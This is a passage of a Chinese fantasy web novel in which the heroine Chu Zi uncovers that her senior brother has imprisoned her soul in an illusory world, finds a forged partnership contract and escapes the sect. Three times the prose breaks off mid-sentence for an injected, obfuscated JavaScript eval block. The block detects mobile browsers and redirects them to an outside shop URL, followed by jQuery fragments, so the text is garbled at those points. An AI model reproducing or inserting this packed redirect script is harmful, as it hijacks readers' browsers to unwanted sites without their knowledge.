褚恣尤不死心,转身沿着倦鸟归林的方向,飞越三四座高峰,最后径直飞入一处深涧。此处不过一线天光,山间岚雾四时不散,涧中遍植桃树,却因时节未至桃花还未盛开而显得光秃秃的。 桃林之中,有一座不起眼的土地庙,便是长生巅秘境入口。 上一次,褚恣一踏进土地庙便莫名其妙进入了永夜境,可这一次她想尽一切办法,土地庙没有丝毫变化,似乎此处并非秘境入口,而只是一座平平无奇、在普通不过的土地庙。 难道前几日经历的一切真是一场幻梦? 自己其实就是一个对练剑诵经一窍不通、但修习心法天赋绝佳的长生宗弟子? 什么镜中人、秘境都不过是虚妄,自己这十六年来与师兄的相依为命才是真实!若不是镜中人骤然出现,她还会继续在这山中无忧无虑。 摆脱那些变故,褚恣不知该松口气还是失落。她告诫自己,切莫再沉迷虚妄以致道心失守,走火入魔! 想通了,褚恣便放下执念,打算为这土地庙上完香便回到师兄身边,继续过从前在长生宗张牙舞爪的畅快日子。 上一次事态紧急,连声招呼都没打就进了秘境,她褚恣只是略皮了些,又不是当真不知礼数。谁知这一上香不要紧,褚恣赫然发现香鼎之中有一截枯瘦竹枝,埋在香灰之间,不仔细看根本看不出。 长生宗的竹林并不常见,唯有她和褚无晦的住处有一大片竹林。 褚恣目光微顿,心头莫名一沉,她竭力劝说自己不要疑心师兄,或许是旁人也说不一定。 她捡起竹枝仔细端详,发现竹枝顶端隐隐有月白灵炁残留,指尖方触上去灵炁便立时缠绕上来。 灵炁本身并无灵性,喜恶全受主人影响,长生宗内灵炁对褚恣亲昵到如此地步的,唯有一人。 ——她师兄褚无晦! 师兄来过这里! 褚恣可以断定。 她又想起镜中人曾言褚无晦修补假象漏洞一事,眸光略沉了沉,以竹枝为剑猛地朝土地庙一掷,一道月白流光骤然炸开,以土地庙为中心,如涟漪般层层铺展,竟铺天盖地地笼住了整片桃林! 难怪她怎么也打不开秘境,竟是师兄将此地封印了! 她猛地想到什么,一路飞驰来到那夜的悬崖处,搬起地上的一块巨石往崖下狠狠砸去,谁知巨石还未至半空便瞬间化作齑粉。月白流光震荡出强烈的灵炁——这便是那晚褚无晦连夜修补的结界,透着不容侵犯的森严。 原来镜中前辈所言非虚,倘若那一晚她没有被师兄拦下…… 恐怕早已逃出幻境、回归真实! 她不敢再想下去,浑浑噩噩地往回走,路过长老内殿时,忽然听到里面传来一阵悲恸哭喊,弟子们泣不成声奔走相告,隐隐约约间她听说似乎是某位长老仙逝。 褚恣闯进内殿隔着人群远远一看,那蒲团上气息已绝、猝然仙逝的长老不是别人,竟是韩巫子! 韩长老常年执剑修行,虽须发皆白,筋骨却十分强健,精神更是比时常神思慵倦的褚恣好上不知多少!晌午在练剑台上,他还声如洪钟大骂她“朽木难雕”,怎么不到半日就溘然长逝了呢? 一股寒意毫无征兆地从尾椎窜起,顺着脊背直冲天灵盖,褚恣没由来打了个寒噤,一股彻骨的惊惧将她笼罩其中。 这夜她心事重重,根本没心思吃宵夜,褚无晦只当是她忽然听闻韩巫子的噩耗,连连安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486080|202018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慰她叫她早些歇息,褚恣正好借机躲过黎白衣的药早早睡下。 待到夜深,两道修长的影子伫立在她床榻前,她几乎瞬间清醒,她知道是褚无晦和黎白衣,于是继续装作熟睡。 她倒要看看,师兄到底在盘算些什么! “哎呀在下还以为这一次能走得顺遂些,没想到这么多年的心血竟被韩巫子这老贼毁了!”是黎白衣,“不过以她的修为,怎么会那般轻易……” “秘境中,有现世的灵炁。”褚无晦不愿听到“死”字,开口打断他的话,“三清天将不属于此间的东西,送进来了。” 现世?那与之相对的她所处的这个世界,果真是假象幻境? 那是不是也意味着,前世她捡铜镜、入秘境、遭梦魇并非做梦而是真实经历过! 还有师兄提到的“三清天”,听起来有些手段,会不会跟镜中前辈有关? 黎白衣轻啧一声:“那位还真是手段用尽!启用镜影寻踪术这样的禁术就算了,还送东西进来!都送了些什么?在下去瞧瞧能不能做药材。” “暂未可知。”褚无晦摇头。 这也正是他头疼之处,三清天此次寻到他们的踪迹他才惊觉随着师妹一天天“长大”,幻境的漏洞也越来越多,他不知道此间到底还能撑多久。 他须将那些现世之物一个一个拔除,漏洞一处一处补全。 “那她可还记得那些事?要不要我煎一副忘忧水?” 这一次她重生在捡到铜镜之前,没有遇到镜中前辈,按理,她该是无知无觉,可若是她发现这世界的异常,以师兄的手段,兴许真的会神不知鬼不觉抹除她所有的记忆! 褚恣只觉头皮发麻,后知后觉发现室内安静了不少。 褚无晦和黎白衣离开褚恣的卧房去到隔壁药庐,褚恣不知道他们接下来谈论了什么,她将窗户支起一条小缝,偷眼觑着院外,过了好一会儿,褚无晦才从药庐出来,手上还拿着一个白玉卷轴,行至院门前,又妥善地将其收入腰间金铃之中。 褚恣重新躺回床上,如今她稍稍有了些头绪,先前那些未名的恐惧早已化作某种执着。 比起耽于情绪,她更倾向于付诸行动。 若受困于谎言,便去找寻真相;若身陷虚妄,便回归真实。 她并不急于这一时。褚无晦近些日子以担心她安危为由,她去哪儿就让豹豹跟到哪儿,褚恣为了不让他起疑,一切按原有的轨迹走,今日约这个师姐画像、明日约那个师兄射猎,到了约好在藏经阁打牌的日子,褚恣终于可以甩掉豹豹。 藏经阁内典藏孤品看护甚紧,一向不许灵宠入内,褚恣特意将自己打扮得珠翠琳琅。 褚恣这些年出不了宗门,但黎白衣却时常下山开方治病,药修家私颇丰,偏他又极好华饰,每每下山都会为褚恣带些漂亮珠宝。 这一回打牌,褚恣输出去一对羊脂玉蝴蝶步摇、一对赤金嵌珠发簪、一对金镶红宝石镯子、一组琉璃佩和数只翡翠指环。 师姐们一高兴,将藏经阁第七层的密钥给了她。 藏经阁第七层,藏有无数禁术典籍,褚恣在其中从白日找到天黑,终于找到了黎白衣口中的“镜影寻踪术”,她将秘诀要领一一记下,看了一眼外面的天色。 时辰不早了,再晚一些豹豹便要来寻她了,褚恣若无其事回到竹林小筑。 朦胧夜色中,那小竹屋中有一灯如斗,昏黄灯光中褚无晦正在为褚恣准备明日入学宫要带的东西。同尘学宫虽设在长生宗内,却与宗门不在一处,长生宗在仙山之巅,学宫却建在半山腰,实行封闭管理。 褚无晦仔细清点褚恣换洗的衣物、配套的饰品、经书、灵石、符篆、法器……甚至还有零嘴。 师兄贴心至此,褚恣却一心计划逃离。她心中十分愧疚。 进了学宫便可脱离褚无晦的监管,届时,她定要逃出宗门! 6. 006 英师妹怒救美师兄 长生宗开设同尘学宫,旨在促进仙门和平,望日后各宗门起冲突时能忆起今日的同窗情谊,化干戈为玉帛。 仙门之中无不赞叹这位神秘宫主的深明大义,争相将各家优秀弟子送进来,是以褚恣这一届的同门,不是这个真人的得意门生、便是那个世家的未来家主,各个出身不凡、气宇轩昂。 褚恣平日最好热闹,连宗门的狗都能聊上两句,打眼瞧着几个合眼缘的貌美少年,正要上去畅谈一番,脑中却忽然闪过一个画面。 学宫门口,自己正在向貌美同门广送金铃,前方不远处,一个身形高挑、衣着华贵的青衣少女满脸不耐烦:“褚绥意,你再不过来我真的不等你了!” “来啦来啦!等等我!”她一路小跑追上那道青色身影,一把将手勾在少女肩上,谁知少女身量蓦然抽长,变作一个身量挺拔的俊秀少年郎。 “师姐!终于见到你了!” 少年笑时如朗月入怀,褚恣却目光怔怔,还陷在回忆当中,想要看清青衣少女究竟是谁,她讪讪收回手,“啊抱歉……我认错人了……” “师姐把我忘了么?”少年却一把握住褚恣的手不肯放开,一双桃花眼中似有盈盈泪光。 褚恣思绪回拢,这才正眼看向少年。 他穿一身绯色劲装,腰束玄色皮质蹀躞,额间系一条绯色莲花纹抹额,衬得眉目清俊干净,唇红齿白。面容虽与褚无晦三分相似,却已褪尽周身淡漠清绝的气质,较之褚无晦来更为秾艳。 是暮云遮。 此前褚恣的魂魄被困在长生宗仙山时,曾与他有过几番交集。彼时彼刻,褚恣只以为是梦而已,没曾想此时此刻,他竟活生生地站在了自己跟前! 他又长高不少,弯下腰来看褚恣时睫毛轻颤,眼尾泛红,那眼神似是在看薄情寡性的负心人。 褚恣软下心肠,笑着安抚:“小师弟生得如此美貌,笑时如清风明月,师姐见之忘俗,怎会忘了师弟呢?” 哄人的话张口就来,实则褚恣前十六年压根没见过暮云遮,对他的印象还仅仅停留在重生之前,那个被师父动辄打压贬低的小可怜。 “当真?”少年眼睛登时便亮了,“我亦对师姐念念不忘!一想到今日能与师姐相见便彻夜未眠,师姐瞧着我与从前有何不同?” “……” 褚恣朝暮云遮凑近了些,少年肤色白皙,瞳色清亮剔透,褚恣仔细想了想,丝毫不解风情:“哎呀!师弟眼下果真有乌青。” 暮云遮:? 天塌了! “啊!我今日还特意敷了粉!”少年慌张地别过头去,声音染上哭腔。 褚恣笑眯眯道:“不妨事不妨事!学宫后山有几处温泉,师弟去泡一泡,眼下乌青便一干二净了。” 暮云遮对褚恣自是深信不疑,亦步亦趋跟着褚恣来到学宫后山。 此地几处温泉错落分布,池与池之间林木葱郁,水草葳蕤,枝叶交错、藤蔓垂落,层层叠叠,自成一片隐秘清幽的天地。外面又以灵炁阵法设下屏障,隔绝外人窥探的目光。 其中一处温泉岸边遍植蔷薇,水汽氤氲,清风一吹花香怡人,据说有美容养颜的功效。暮云遮让褚恣再三保证,不会趁他泡温泉时偷偷将他丢下,才放心入了池子。 褚恣去了最远的一处,温泉药效如何不重要,重要的是池子须澄澈如镜。 她昨日遍查禁术典籍,发现所谓镜影寻踪术皆因被寻之人遍寻不得,需借天道之眼探寻,“镜”为天道之眼的媒介。只要“镜影”存在,无论被寻之人身在何处都逃不过天道,而借用天道代价极大。 褚恣不知道镜中人那边为了寻她付出了怎样的代价,只知道开启这门禁术的关键,正是被寻之人的血。 那这一切便说得通了! 彼时在雪崩山洞中,正是褚恣那滴血误打误撞启动了现世的镜影寻踪术! 褚恣不再犹豫,取出发簪划破肌肤,嫣红血液霎时顺着掌心的纹路滴落进水面。 “滴答——” 小小的涟漪荡漾开来,褚恣沉静的倒影化作头带莲花冠的银发青年。 因着朦胧水汽,他眸间的浅淡笑意更为柔和:“小五,吾就知道你会再次找到吾。” 褚恣开门见山:“前辈,那日初见曾听有人唤前辈为‘上尊’,又闻凶兽猼訑是三清天送进来的现世之物,敢问前辈与三清天有何关系?” “小五,你想要了解的一切,等出了幻境自然便会知晓,所谓‘三清天上尊’不过都是虚名罢了,”镜中人眸底始终含着慈悲笑意,“你只需知道,吾是你的大师兄任无为,这件事自始至终都不会改变分毫。” 任无为…… 好耳熟的名字! 褚恣在脑海细细回忆半天仍一无所获,好在任无为那边带来了好消息:“小五,吾找到了新的办法助你逃出困境。” 褚恣回神,洗耳恭听:“请前辈赐教。” “那便是,杀了你那位师兄褚无晦。” 任无为的声音清浅低沉,却在褚恣心中掀起滔天巨浪:“什、什么?” “杀了褚无晦,”任无为重复了一遍,“这是最简单的方法。” 褚恣眉头拧成一团,若要以伤害伤害师兄为代价才能走出幻境,那她宁愿选择更艰难的那条路。 镜中人静静盯着她,茶色眼眸似是洞悉一切: “小五,你天生仙命,本该成为天之骄子,却与长生巅无情道剑修朝无晦结为道侣,成为他杀妻证道、飞升成仙的垫脚石。” “你难道忘了猼訑的梦魇?”任无为嗓音轻柔,实则句句诘问,直逼褚恣内心。 褚恣当然记得,梦魇中雪山上风雪肆掠,那人执剑而来,眉眼更是冷过千重白雪。 她此前总以为那是未来警示,未曾想竟是过去之殇! 她始终不愿相信,那个她视为亲人、处处体贴的师兄,会是梦魇中杀妻证道的无情道剑修! “可……你也说……那人是‘朝无晦’,”褚恣反驳,“而我师兄叫‘褚无晦’……” “朝无晦,褚无晦,一字之差而已,你在梦魇中应当看到过吧,你被他的七杀剑一剑穿心,他可曾对你心慈手软?” “别说了……” 被利剑贯身的剧痛至今仍清晰地刻在褚恣骨血,濒死之际飞雪覆身时寒意从四肢百骸慢慢攀上来。 任无为仍在继续:“一个人孤零零地死在雪山中很凄凉吧?你难道不想报仇么?” “别说了!” 温泉水猝然剧烈翻涌,暴涨的灵炁透过“镜影”反噬至任无为身上,他猝不及防吐出一口鲜血。 “上尊!没事吧?”有人急切询问。 褚恣当下心神俱乱,却见水面倒影中又出现一个玄衣青年,目眦欲裂:“褚绥意!你好大的胆子!竟敢暗算上尊!” 褚恣稳住呼吸敛下心神,侧耳仔细辨认片刻,脱口道:“韩巫子?” 青年神色骤然慌乱:“不!我不是韩巫子!你认错人了!” 褚恣确信:“你当然不是韩长老,你是永夜境中冒充韩长老刺杀我的真凶!” “那日韩长老声音很奇怪,听上去很年轻,你方才一开口我便确信是你!” 囚困褚恣的幻境太过强大,现世之人根本无法进入其中,青年也是凭借禁术暂时顶替韩巫子的魂魄,才得以借韩巫子之手刺杀褚恣。 被揭穿之后青年只剩哑然,褚恣便将视线锁死在任无为身上。 “上一世在秘境中杀我,这一世又教唆我杀我师兄,前辈究竟存了什么心思?” 任无为刚遭反噬,气息正虚,在褚恣连声逼问之下,一股浓烈腥气直冲喉口。 此事虽事出有因,但确是他有错在先,他牙关紧咬,重重将那股腥甜压了下去:“小五,你听吾解释。” 任无为道,百年前褚恣独自前往长生巅一去不回,生不见人死不见尸,这百年来,三清天派了无数人,将仙门十四洲翻了个底朝天都未找到褚恣,后来是天机阁的一位蒙面修士,自愿与海市做交易启用镜影寻踪术才找到褚恣。 “吾猜测,你并非被困在长生巅某处福地,而是被困在凶器‘造物’之中。‘造物’所造心境强大无比,能使人跳出天地之外。吾原本以为‘造物’在你身上,若你在心境中死去,心境便会破碎,届时你便能回到现世。” 但眼下这个局面,心境非但没有崩塌,反而修复得更加牢固,并抹除了外界的一切痕迹。 这也就意味着任无为猜错了,“造物”并不在褚恣身上,而是在…… ——褚无晦身上。 褚恣暗道不妙,飞身强闯学宫禁制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486081|202018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一路赶回竹林小筑。 地上不知是什么凶兽留下的掌印,踩踏出一个大坑,竹林小筑的院门、黎白衣的药庐、就连院前翠竹也未曾幸免倒了一大片。 “师兄!豹豹!” 院内悄无人声,满地狼藉。 褚恣正要进屋仔细找寻,却被脚下一绊。她捡起地上的物什,发现是一个精巧的玲珑锦盒,以上品幽檀木所造,可保内里存放之物不腐不败。 锦盒里存放着一幅画卷。 画卷上褚无晦在院中抚琴,褚恣和豹豹在一旁打雪仗,雪球砸偏砸到褚无晦的头上,褚无晦的琴声也就乱了。 这是褚恣去年为褚无晦作的生辰礼,却因豹豹不当心将墨汁溅到纸上成了废作,褚恣就此作罢,另送了师兄这个玲珑八宝盒。 没想到师兄不仅将这幅画装裱好了,还如此珍重地保存在玲珑八宝盒内。 褚恣将画重新封存好,听见不远处传来一阵兽类的嘶吼声。 是豹豹! 她心急如焚循着声源一路赶到藏剑峰,正瞧见半空中褚无晦与凶兽缠斗的身影。 那凶兽如小山一般,牛身虎首,背生双翼,口吐真火,豹豹因护主被凶兽狠狠摔在火海之中,挣扎了两次未能站起来。 褚无晦手执竹枝,一面护着豹豹,一面迎上凶兽的攻击,一时有些捉襟见肘。 褚恣正想上前帮忙,却倏而意识到,师兄的一招一式十分眼熟。 是《太初》剑法! 这剑法是长生宗最难以掌握的三道剑法之一,另外两道分别为《抱朴》和《忘真》。太初剑法承寂然大道,剑意枯寂清冷,招式虽简,实则玄理深不可测。 褚恣在练剑台见过其他师兄师姐练过,他们日日修行不怠,却仍只练至第六重。 师兄不是说他修习心法不入剑道么?为何他手中竹枝剑光如雪,身影若游龙,俨然已至最高境界第九重! 难道说……师兄一直在骗她?! 褚恣冷冷看着那道月白身影,任无为的话一遍又一遍在耳畔响起。 “褚无晦朝无晦,一字之差而已!” 到底孰真孰假? 若师兄当真是那个将她杀妻证道的无情道剑修朝无晦…… 不、不可能! 朝无晦不是杀妻证道后飞升成仙了么? 怎么会是师兄? 若师兄……死在这凶兽手中…… 困住她的这方心境难道真会破碎? 那边褚无晦渐渐落了下风。 竹枝始终不称手,他正要掐诀起式,猛然间却瞥见脚下褚恣,她那双素来明亮的眸子似有冷意。 不好! 师妹难道看出了什么? 他慌乱扔掉竹枝,凶兽却趁他分心,巨尾横扫而来,势大力沉,褚无晦避之不及,生生受了这一记重击。巨力撞在胸腹间,只觉肺腑俱裂,剧痛攻心,喉间腥甜翻涌,一口鲜血喷溅而出,整个人如同断线纸鸢一般重重坠跌下来。 褚恣还来不及作出反应,身体已快过意识,“嗖”地一下如同离弦之箭奔赴过去将褚无晦稳稳接住。 褚恣看向怀中的褚无晦,他面容苍白几近透明,素来洁癖之人如今衣袍已被鲜血浸湿,团成胸前大片的嫣红血花,刺激着褚恣摇摇欲坠的理智。 凶兽张牙舞爪不依不饶,嘶吼着直冲褚恣而来。 褚恣抬眸,眼神冰冷得如同在看死物:“你算什么东西,也配伤他。” 说罢右手轻挥,手腕上那串红玉珠子如灵蛇一般飞向凶兽,每颗珠子化作一股红线,将凶兽团团绞缠,不容它挣扎半分,红线带着凛冽杀意的灵炁迅速勒紧,而后“嘭”地一声,兽身炸成一场淋漓血雨。 红线重新变回红玉珠子,串成手串,泛出艳丽诡谲的红光,柔顺地回到了褚恣雪白的手腕上。 褚恣一手抱着褚无晦,一手拎着豹豹回到竹林小筑。 黎白衣已将满地狼藉收拾好静候多时,一见到褚恣满脸焦急:“阿恣!怎么流了这么多血,你受伤了?快让在下看看伤到何处了!” 褚恣将褚无晦轻轻放到床榻上,才道:“不是我,是师兄。” 黎白衣霎时放下心来,以玄晖君的修为,怎会被区区穷奇伤重至此? 苦肉计罢了,阿恣怎么又栽在这上面? 7. 007 识孽缘兄妹生嫌隙 褚恣后来想想,她是关心则乱,师兄的苦肉计她早已见识过一番。 可是,她做不到放任自己眼睁睁看着师兄受伤。 褚无晦这一次伤得格外重,一直昏迷未醒,夜里褚恣对着药汤与任无为理论:“伤我师兄的凶兽,也是前辈送进来的么?” 任无为道:“小五,前世朝无晦杀了你后证道飞升,却担心你含怨而死化作怨煞,故而夺走你的心法,并造此心境,将你囚困在此。” “吾只是想杀死褚无晦,助你逃出心境。” 褚恣斩钉截铁道:“我师兄一定不是朝无晦!” “你说过朝无晦乃剑道翘楚,破军、贪狼、七杀三把命剑名震仙门,我师兄却连把剑都没有,他不会是朝无晦!” 任无为苦口婆心:“那不过是朝无晦的诡计罢了,你切莫再被他蒙蔽了!” 褚恣想起白日接住师兄时,他溅在她脸上的血还是温热的。她不愿再听外人的挑唆,是非对错,她要自己判断。 “够了!别再伤我师兄!” 见她执意如此,任无为知道再劝下去只会适得其反,只好后退一步:“也罢,小五,你所在的长生宗设有禁制,只要你出的了长生宗,吾再另想办法助你逃出心境。” 身后传来窸窸窣窣的声响,应是褚无晦要醒了,褚恣切断与任无为的联系,一转头,褚无晦长睫轻颤,苍白修长的手指微微动了动:“师妹……方才……是谁在讲话?” 他斜倚在床头,青丝柔顺垂落,更显得面色苍白似水中月影。褚恣难得见她师兄这样一副病弱之美,又是心疼又是生气。 心疼他受了这样重的伤,气他对自己有所隐瞒,于是将药碗往他手中一递,扭头便要离开:“师兄既然醒了,我也该回学宫了,一会儿晚了要受罚的。” 褚无晦拉住她的手,他虽伤重,手上力气却极大,冰凉的体温顺着掌心传递给褚恣:“留下来吧,师兄受伤了。” 褚恣回身注视着褚无晦双眸,笑道:“我若留下,师兄会为我解释《太初》剑法么?” 闻言褚无晦似是被刺一般,手上的力气渐渐松了,他垂眸避开褚恣的视线,三缄其口。 褚恣瞧他这样子,只觉一口气沉沉堵在了心口,亏她方才与任无为理论,据理力争地站在他这一边。 “师兄为何不说话?” “……”褚无晦沉默。 “为何不解释?为何不说一些冠冕堂皇的话哄骗我?” 良久,褚无晦迎上褚恣的视线,瞳色温和清淡,藏着某些难以言喻的苦涩,宛如一尊破碎的神像:“师妹,师兄不会骗你。” 末了,又在褚恣质疑的目光中垂下眼睫,重复道:“师兄从不骗你。” 褚恣正想追问他究竟是不是朝无晦,忽然一道明亮清朗、带着哭腔的少年音自院外响起:“师姐!你说过不会丢下我的!” 红衣黑发的少年闯进褚无晦的卧房,头发还是湿漉漉的,看起来像被人遗弃的小狗,直接无视掉榻上重伤之人,低头向褚恣凑近:“师姐你看!我眼下的乌青是不是已经消失了!” 那乌青本就是褚恣胡诌的,这会儿褚恣刚敷衍应了一句“果真”,暮云遮赶紧得寸进尺:“学宫的温泉当真有奇效!师姐摸摸看,我的肌肤是不是滑嫩细腻不少?” 他一面说一面拉起褚恣的手从宛若凝玉的脸颊一路向下,将将要从衣襟探进那片雪白胸膛,身后响起两声干咳。 褚恣回头,发现黎白衣不知何时换了一身装扮。 他头戴赤金嵌宝束发冠,穿一身孔雀蓝织金长袍,衣料垂顺华贵,金线织就的繁复缠枝纹流转着细碎金光,腰间除却几只药囊,另系着金铃、水玉、宫绦等饰品,行动间环佩铿锵,比之寻常更要耀眼夺目一些。 “哎呀,这山中春时未至,怎么有人兽性大发,在伤者跟前扮演活春宫啊?”开口还是一如既往的刻薄,今时还带了些下流。 暮云遮怯怯地往褚恣身后躲:“药修果真豪奢!这位师兄,日日这样装扮很费时吧?不像我,刚从温泉爬起来就来找师姐了。” “师姐该不会嫌弃我吧?” 黎白衣:“……” 哪里来的绿茶! 褚恣本想回呛黎白衣打扮得跟个开屏的花孔雀似的,这一下见他在暮云遮跟前吃了瘪,也就咽下了,却听得床榻上褚无晦咳嗽,立时抽出手回身替褚无晦掖好被子:“师兄,你怎么样?” 褚无晦摆摆手:“不碍事。” 暮云遮这才装模作样看向褚无晦:“师姐过虑了,玄晖君身强体壮,这点小伤不碍事的。” “再说了,玄晖君若连这等小伤都承受不住,还如何担得起长生宗首席大弟子的盛名?你说是吧玄晖君?” 褚无晦本就不善言辞,被暮云遮这样一噎便不再做声,暮云遮满意地拉起褚恣往外走,十分做作:“外面天好黑,师姐送我回学宫吧……” 褚恣这一走便是两日,这两日来每天都在思索如何能出长生宗的宗门。 宗门禁制需持通行密令方能打开,而通行密令唯有宗门各长老以及褚无晦这个长生宗首席大弟子才能持有。 师兄那边定然走不通,那就只有走宗门长老这条路了。 只要任意一个长老的金铃到手…… 停停停!这样岂不是非偷即抢? 褚绥意!你平时只是略顽劣些,怎能行偷抢这样品行低劣之事呢? 那如何不偷不抢还能得到出宗门的密令呢? 褚恣冥思苦想。 褚恣绞尽脑汁。 褚恣……暂未想到。 她笃信事在人为,也信因缘际会,今时若求不得,便是时机未到,何必自寻烦恼? 她这两日在学宫广交好友,不是去律吕门同门那边听听乐理,便是去御兽宗同门那边逗逗灵宠,晚上还被暮云遮拉去学宫后山泡温泉。 暮云遮去润肌凝肤,褚恣便去温筋养脉。那温泉确有药效,泡完后周身轻盈松快,经脉中的灵炁运转都顺畅不少。 这日她泡完上岸,穿戴齐整,方要离去,却瞧见不远那处可愈伤锻体的温泉似是有人。 这个时辰,同门都在上晚课,除了她和暮云遮这两个翘课的,应当不会有人来才对。 褚恣本不愿窥伺,可那处温泉的结界屏障不知为何被撤下,她不过随意一瞥,便瞧见重重叠叠的香蒲后雾气氤氲,池中有一人影朦胧绰约。 那人半身浸在暖泉之下,露出的肌肤莹白似玉,在月色下泛着淡淡柔光。他一头长发尚未束起,湿漉漉地披散在背后,平日的孤冷淡漠悉数褪尽,反而增添一丝惊心的美。 竟是褚无晦! 师兄从前最恶泡温泉,认为泡温泉之流会使修行之人耽于享乐、荒废修为,今日怎么也来到此处? 褚恣未及细想,赶紧收回窥探的视线。 褚绥意!怎么能偷看师兄泡澡! 再看一眼…… 褚无晦已背对她濯洗长发,褚恣的目光悠悠转转落在了岸边温润青石上。 褚无晦的衣物摆放在此,白玉菩提冠、外袍、里衫层层摆放,褚恣的视线却一眼锁定在那片月影中的金铃上。 褚恣一时喜上眉梢。 谁说师兄这条路走不通?这条路可太好走了! 拿自家师兄的东西那能叫偷么? 褚恣掩下声息,借着重重水草遮掩身形,摸摸索索终于拿到那枚金铃! 正如褚无晦了解她一般,她亦十分了解褚无晦。 金铃的开锁密令她都不用猜,输入褚无晦生辰,冬月廿四。 不对。 输入她自己的生辰,三月初九。 还是不对。 褚恣仔细想了想,输入三月十八。 这是她与师兄初见,师兄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486082|202018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将她从终南山捡回长生宗的日子。 这次若再不对,她就要跟褚无晦闹了。 下一刻,金铃泛起光亮,密令已解,任她操纵。 她手指轻轻点在金铃上,内里所藏无数密令一一铺展开,褚恣仔细划过,什么《云华妙法经》《太虚观心经》《长生宗女修发髻图鉴》《舌尖上的仙门食录》《一个月学会女工》《猞猁饲养指南》…… 褚恣:“……” 师兄懂得还挺多! 但很快,褚恣便笑不出来了,她的目光定在一卷白玉卷轴上,再也挪不开半分。 褚恣想起她重生归来那夜,师兄去往黎白衣药炉密谈,归来后手上便多出来这个卷轴,而今这卷轴就在眼前,名曰《归魂定魄实录》。 褚恣呼吸乱了两拍,她屏住心神,指尖不受控制地发颤,缓缓展开卷轴,卷轴扉页是一张药方: “白泽泪一钱、夫诸角二钱、乘黄胆三钱、扶桑果四钱,千年不化之雪水一斗,砍槐木为柴,煎至一服,服之可归魂定魄。” 归魂定魄? 归谁的魂? 定谁的魄? 褚恣想到黎白衣日日为自己煎的那碗药,原来归的是她的魂,定的是她的魄! 褚恣心中骤然一沉,呼吸完全乱了节奏,胸口剧烈起伏着,再往后翻,是一张道侣契书。 说是契书也不太恰当,金箔玉质虽与寻常契书无异,上面却没有合契司的证印,其上契词“大道昭昭,三清同贺……同心合契,同修同渡。”甚至是出自褚无晦的字迹,而这对“同心合契”的道侣一方的“褚恣”,却未按规程留下灵炁为印。 另一方赫然刻着“褚无晦”,只是“褚”字下有刻痕,应是修改过,褚恣仔细辨认,发现竟是个“朝”字!这段契词原本应当是: “大道昭昭,三清同贺。嘉时吉日,阴阳祥和。今有修士褚恣、朝无晦,同心合契,同修同渡。合契司证。” 褚恣简直不敢相信。 前几日她还信誓旦旦地维护师兄,说他绝不会是前世那个将自己杀妻证道的朝无晦! 可这假契书却清清楚楚、明明白白地戳破她最后那一丝不愿面对的幻想——他不是朝无晦还能是谁! 褚恣喉咙发紧,继续往后翻: “师妹五岁,我将师妹接回长生宗。抹除仙门十四洲,终无人打扰,一切安好。……师妹十六岁,受三清天蛊惑入永夜境,被韩巫子杀害,心境崩塌。” “……然,这一世并未从头来过,仅逆转至三日前。与黎白衣再三查验,师妹七魄终于聚齐。” 任无为说的果然不错! 原来,她不过是一只死在雪山之巅的孤魂野鬼、被囚困在幻境假象当中的怨煞! 什么师妹、什么长生宗!都是假象! 褚无晦如此费劲心机蒙骗她,她到底是谁?她真正的师门在何处? 褚无晦洗漱完穿衣上岸,却觉得少了些什么,往腰间一看,坏了!金铃不见了! 正待去寻,回身却看见褚恣手中拿着白玉卷轴,整个人立时像被定在原地,脸上的血色霎时褪尽,只余下震惊与无措。 “师妹……” 他张了张口,喉结滚动了几下,似乎想说些什么,却一句话也说不出。 短短时间褚恣心头滚过无数情绪,惊异、失望、怨憎、愤怒……最后只余下满目的平静。她手中紧紧攥着金铃,擦掉眼角的泪,气极反笑。 什么狗屁命运!竟敢如此嘲弄她! 她决然地转身,沿着下山的石阶直奔长生宗山门,褚无晦察觉到她的意图一路紧随其后,想要将她拦下。 褚恣挥出手串,红玉珠子散作“褚恣”分身,一个接一个地回身阻拦褚无晦。 她想,她一定要去找出真相,谁也别再妄想阻拦她。 褚无晦不能。 这方虚妄天地亦不能! 8. 008 寻三魂阿恣探海市 褚恣这一生都困在那座白雪皑皑的雪山上,今夜终于出了长生巅的山门,竟一时不知该去往何处。 她的分身拦不了褚无晦太久,得赶紧联系上任无为。自她上次重生后整个幻境中都不见一面镜子,所幸她早有准备,随身携带了一面玉璧。 玉璧完美无瑕,光洁透亮,衬得任无为的镜影与玉色无异。 褚恣按他的指引,出了宗门一路往东,闯进一间无人看守的道观。 这道观飞檐斗拱,朱漆斑驳,碧色苍苔覆满黛瓦青石。观前一棵梨花树正值花期,月下梨云皑皑如同雪幔,褚恣不住感慨,原来山下春色如许,唯她被困在旧日冬雪中。 